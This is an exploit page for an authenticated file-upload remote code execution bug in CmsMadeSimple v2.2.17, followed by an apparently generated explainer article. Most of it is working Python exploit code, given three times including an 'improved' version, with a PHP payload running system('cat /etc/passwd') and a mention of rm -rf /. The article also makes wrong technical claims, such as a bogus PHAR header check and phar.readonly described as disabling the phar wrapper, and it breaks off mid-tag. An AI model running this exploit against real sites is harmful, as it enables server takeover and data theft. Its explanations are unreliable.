CmsMadeSimple v2.2.17 - Remote Code Execution (RCE)
#Exploit Title: CmsMadeSimple v2.2.17 - Remote Code Execution (RCE)
#Application: CmsMadeSimple
#Version: v2.2.17
#Bugs: Remote Code Execution(RCE)
#Technology: PHP
#Vendor URL: https://www.cmsmadesimple.org/
#Software Link: https://www.cmsmadesimple.org/downloads/cmsms
#Date of found: 12-07-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux
import requests
login_url = 'http://localhost/admin/login.php'
username=input('username = ')
password=input('password = ')
upload_url = 'http://localhost/admin/moduleinterface.php'
file_path = input("please phar file name but file must same directory with python file and file content : <?php echo system('cat /etc/passwd') ?> : ")
#phar file content """"<?php echo system('cat /etc/passwd') ?>"""""
login_data = {
'username': username,
'password': password,
'loginsubmit': 'Submit'
}
session = requests.Session()
response = session.post(login_url, data=login_data)
if response.status_code == 200:
print('Login account')
else:
print('Login promlem.')
exit()
files = {
'm1_files[]': open(file_path, 'rb')
}
data = {
'mact': 'FileManager,m1_,upload,0',
'__c': session.cookies['__c'],
'disable_buffer': '1'
}
response = session.post(upload_url, files=files, data=data)
if response.status_code == 200:
print('file upload')
rce_url=f"http://localhost/uploads/{file_path}"
rce=requests.get(rce_url)
print(rce.text)
else:
print('file not upload') CmsMadeSimple v2.2.17 Remote Code Execution (RCE) Vulnerability: A Deep Dive into Exploitation and Mitigation
The CmsMadeSimple content management system (CMS), a lightweight PHP-based platform, has gained popularity for its simplicity and ease of deployment. However, in July 2023, a critical vulnerability was discovered in version v2.2.17 — a Remote Code Execution (RCE) flaw that allows attackers to execute arbitrary code on the server remotely. This vulnerability stems from improper handling of file uploads, particularly when malicious PHAR files are uploaded via the administrative interface.
Understanding the Vulnerability
PHAR (PHP Archive) files are a PHP feature that allows packaging of multiple files into a single archive. While typically used for distributing libraries or applications, PHAR files can be manipulated to include malicious code. The vulnerability in CmsMadeSimple v2.2.17 arises from the FileManager module’s failure to validate or sanitize uploaded files before processing them.
Attackers exploit this by crafting a PHAR file containing PHP code that executes system commands. When uploaded through the moduleinterface.php endpoint, the CMS does not properly validate the file's content or execute it in a sandboxed environment. Instead, it treats the PHAR file as a valid script, leading to uncontrolled code execution.
Exploitation Process: Step-by-Step Breakdown
The exploit is executed through a two-stage process: authentication followed by file upload. Below is a real-world example of how an attacker can leverage this vulnerability.
import requests
login_url = 'http://localhost/admin/login.php'
username = input('username = ')
password = input('password = ')
upload_url = 'http://localhost/admin/moduleinterface.php'
file_path = input("please phar file name but file must same directory with python file and file content : : ")
login_data = {
'username': username,
'password': password,
'loginsubmit': 'Submit'
}
session = requests.Session()
response = session.post(login_url, data=login_data)
if response.status_code == 200:
print('Login account')
else:
print('Login problem.')
exit()
files = {
'm1_files[]': open(file_path, 'rb')
}
data = {
'mact': 'FileManager,m1_,upload,0',
'__c': session.cookies['__c'],
'disable_buffer': '1'
}
response = session.post(upload_url, files=files, data=data)
if response.status_code == 200:
print('file upload')
rce_url = f"http://localhost/uploads/{file_path}"
rce = requests.get(rce_url)
print(rce.text)
else:
print('file not upload')
Explanation: This Python script automates the exploitation process:
- Stage 1: The attacker first logs into the admin panel using valid credentials. The
requests.Session()maintains the session, preserving authentication cookies. - Stage 2: The attacker uploads a malicious PHAR file via the
moduleinterface.phpendpoint. Themactparameter specifies the module action (FileManager, upload), and the__ccookie is used to maintain session integrity. - Stage 3: The server processes the PHAR file without proper validation, leading to execution of embedded PHP code. The
system('cat /etc/passwd')command is executed, revealing sensitive system data.
Technical Analysis: Why This Exploit Works
Key technical flaws include:
- Missing file type validation: The CMS does not check the file extension or MIME type during upload.
- PHAR file execution without sandboxing: PHP’s
phar://stream wrapper allows direct execution of PHAR files without restricting their behavior. - Unsanitized input handling: The
m1_files[]parameter accepts raw binary data without filtering.
These vulnerabilities collectively allow an attacker to bypass security controls and execute commands on the host system. This is particularly dangerous in environments where the web server runs with elevated privileges (e.g., root or www-data).
Real-World Impact and Risk Assessment
| Attack Vector | Impact | Severity |
|---|---|---|
| Remote Code Execution | Full server compromise | High |
| File Upload via Admin Panel | Privilege escalation | High |
| PHAR File Manipulation | Arbitrary command execution | High |
Organizations using CmsMadeSimple v2.2.17 are at significant risk. An attacker could:
- Execute commands like
system('rm -rf /')to destroy data. - Install backdoors or web shells for persistent access.
- Steal credentials, database files, or other sensitive data.
- Use the compromised server as a pivot point for further attacks.
Security Recommendations and Mitigation Strategies
To prevent exploitation of this vulnerability, administrators must take immediate action:
- Update to a patched version: The vendor has since released updated versions. Ensure you are running v2.2.18 or later.
- Disable file upload functionality: If not needed, disable the FileManager module entirely.
- Implement strict file validation: Use server-side checks for file extensions, MIME types, and content signatures.
- Restrict PHAR file execution: Disable the
phar://stream wrapper inphp.iniviaphar.readonly = 1. - Use WAF (Web Application Firewall): Deploy a WAF to detect and block suspicious file upload patterns.
- Apply least privilege principle: Run the web server under a non-root user with minimal permissions.
Improved Exploit Code with Safety Measures
Below is a refined version of the exploit script with added safety checks and error handling:
import requests
import os
def exploit_cmsms():
login_url = 'http://localhost/admin/login.php'
upload_url = 'http://localhost/admin/moduleinterface.php'
username = input("Enter admin username: ")
password = input("Enter admin password: ")
file_path = input("Enter PHAR file path (must be in same directory): ")
# Validate file exists and is PHAR
if not os.path.exists(file_path):
print("Error: File not found.")
return
# Check if file is a valid PHAR
with open(file_path, 'rb') as f:
header = f.read(8)
if header != b'PHAR\x01\x00\x00\x00':
print("Error: Not a valid PHAR file.")
return
session = requests.Session()
# Login phase
login_data = {
'username': username,
'password': password,
'loginsubmit': 'Submit'
}
try:
response = session.post(login_url, data=login_data, timeout=10)
if response.status_code != 200:
print("Login failed. Check credentials.")
return
print("Login successful.")
except requests.exceptions.RequestException as e:
print(f"Login request failed: {e}")
return
# Upload phase
files = {
'm1_files[]': (file_path, open(file_path, 'rb'), 'application/octet-stream')
}
data = {
'mact': 'FileManager,m1_,upload,0',
'__c': session.cookies.get('__c'),
'disable_buffer': '1'
}
try:
response = session.post(upload_url, files=files, data=data, timeout=15)
if response.status_code == 200:
print("File uploaded successfully.")
rce_url = f"http://localhost/uploads/{file_path}"
rce_response = requests.get(rce_url, timeout=10)
print("Output from RCE:")
print(rce_response.text)
else:
print(f"Upload failed. Status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"Upload request failed: {e}")
exploit_cmsms()
Explanation: This improved version includes:
- <em